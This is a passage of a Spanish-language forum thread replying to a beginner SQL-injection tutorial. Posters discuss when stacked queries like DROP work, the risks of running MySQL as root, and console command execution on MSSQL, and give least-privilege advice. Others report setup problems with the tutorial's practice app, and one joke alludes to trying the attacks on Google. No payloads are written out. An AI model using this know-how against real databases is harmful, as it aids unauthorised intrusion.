en PHP pues.. DROP, solo si se ejecuta en ciertos contextos, pero si usas el tipico mysql_connect, mysql_query("SELECT etc.. no puedes hacer DROP

el cambio de password, y demas, denuevo, en PHP, si lo ejecutas con privilegios de root, en ciertos escenarios tambien seria posible.

con decirte, que puedes manipular archivos, ya debes de ver la peligrosidad de ejecutar como root un server mysql.

la opcion, es correr las cosas con los minimos privilegios posibles..

incluso llegue a leer que hagas un usuario para leer, otro para escribir, otro para modificar, etc.. de esta forma a un atacante le seria muy dificil hacer demasiado daño. (pero.. la verdad me daria flojera hacer 3 usuarios por tabla)..

la sugerencia final, es que si vas a ejecutar un server mysql, lo hagas sin ser root.

ademas, si es MSSQL. pues debes tener mucho cuidado, ya que ahi, si puedes ejecutar comandos de consola de forma extremadamente facil, si tienes los privilegios.

Saludos!!

Veamos, casualidad que estos dias he estado probando cosas sobre sql-injection y he tenido el mismo problema que comentas.
Según he leido mysql_query solo ejecuta una única consulta, por lo que si añadimos al propio SELECT otra consulta (usando ; para separlas) no va a funcionar, ya sea DROP, INSERT, UPDATE o lo que sea.

En que lenguajes se podria hacer esto, que no sea PHP?


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: TapIt en 20 Julio 2010, 22:25 pm
Muy buenas!! dudo mucho que alguien lea esto ya que el post es bastante viejo pero bueno... el caso esque e instalado la aplicacion pero cuando clico en Admin Login no me sale nada y me pasa lo mismo con el resto de pestañas... puede ser que tengo que crear la base de datos con algun tipo de cotejamiento especial?? porque no se me ocurre otra cosa...  he probado con utf8_general_ci y con utf8_bin pero nada...

Enga muchas gracias! saludos  ;)


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: CocoMoyo en 5 Abril 2011, 22:39 pm
Muy buenas!! dudo mucho que alguien lea esto ya que el post es bastante viejo pero bueno... el caso esque e instalado la aplicacion pero cuando clico en Admin Login no me sale nada y me pasa lo mismo con el resto de pestañas... puede ser que tengo que crear la base de datos con algun tipo de cotejamiento especial?? porque no se me ocurre otra cosa...  he probado con utf8_general_ci y con utf8_bin pero nada...

Enga muchas gracias! saludos  ;)
Me pasa exactamente igual que a ti, y la verdad es que después de echarle un vistazo no tengo ni idea de porque es, si hay alguien que controle del tema y pueda echarnos una mano se agradece, un saludo.


Título: Re: SQL Injection para principiantes, ejemplos en aplicaciones reales.
Publicado por: AFKXDLOLNASHE en 2 Septiembre 2021, 21:34 pm
los que votaron pesimo seguro lo intentaron con google o alguna cosa guarra asi jaja.